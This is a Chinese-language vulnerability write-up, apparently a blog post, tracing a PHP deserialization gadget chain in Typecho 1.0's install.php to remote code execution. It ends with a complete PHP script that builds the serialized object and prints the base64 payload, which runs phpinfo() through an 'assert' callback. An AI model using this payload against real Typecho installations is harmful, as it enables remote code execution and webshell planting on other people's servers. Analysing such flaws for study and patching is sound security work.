环境介绍:
typecho我下的是1.0版本的
下载地址:https://github.com/typecho/typecho/releases/tag/v1.0-14.10.10-release
1、显示安装界面,防止退出
这里存在三个退出条件
1)finish参数为空且目录下存在config.inc.php文件且session变量数组中的typecho变量为空,这里我们只要随便传入一个finish值
2)如果http头部中的referer为空
3)传入referer的网站要和目前访问的网站不是同一个域名
2、漏洞思路分析:
追踪get方法:
可以看到这里对post或者cookie传入的__typecho_config变量进行一个反序列化,并且不能为数组。
这里新建了一个Typecho_Db对象,将反序列化得到的变量数组中的adapter和prefix传入,我们跟进Typecho__Db这个对象
这里将adapterName这个变量直接拼接在一串字符串后面,也就是将adapterNmae当作字符串拼接之后赋值给了adapterName,这个时候如果adapterName如果为一个对象的话,就会自动调用__toString魔术方法。
这里我们跟进Typecho_feed类的__toString魔术方法
因为这里的$item['author']访问了screenName这个属性,如果这个属性是不可访问的话,就会自动执行__get魔术方法
但是进入这里需要满足条件
接着跟进Request.php的__get魔术方法:
再跟进get函数:
如果_params数组中存在索引值为$key的变量,那么就会将其赋值给$value,_httpParams也是一样,如果都不存在就将赋值为$default。
如果$value为数组的话就赋值为$default,不是的话就为本身。
跟进_applyFilter函数
如果$value为数组就调用array_map函数,如果不是就调用call_user-func函数,重点来了,如果$filter和$value都可控的话就可以通过回调函数命令执行或者写入木马了
思路整理:
1、通过install.php中的反序列化将adapter和prefix变量传入Typecho_Db实例化对象中
2、通过类Typecho_Db中的__construct魔术方法将adapter视作字符串拼接赋值,调用类Typecho_Feed中的__toString魔术方法
3、访问了_items['author']中的screenName属性,调用Typecho_Request类中的__get魔术方法并且传入$key=screenName
4、定义$this->_params[$key],也就是$this->_params[‘screenName’]为我们想要执行的命令,即可赋值给$value
5、定义$this->_filter,构成回调函数,执行命令
这里会对反序列化的内容抛出异常
然后通过ob_end_clean()清除缓存,导致phpinfo()的内容显示不出来,要通过前面的
将item中的category赋值为一个对象数组,提前报错退出,就可以显示之前的内容
payload:
<?php class Typecho_Request{ private $_params = array(); private $_filter = array(); public function __construct() { $this->_params['screenName'] = 'phpinfo()'; $this->_filter[0] = 'assert'; } } class Typecho_Feed{ const RSS2 = 'RSS 2.0'; private $_type; private $_items = array(); public function __construct() { $this->_type = self::RSS2; $this->_items[0] = array( 'author' => new Typecho_Request(), 'category' => array(new Typecho_Request()) ); } } $typecho = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' ); echo base64_encode((serialize($typecho))); ?>
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJwaHBpbmZvKCkiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6OToicGhwaW5mbygpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=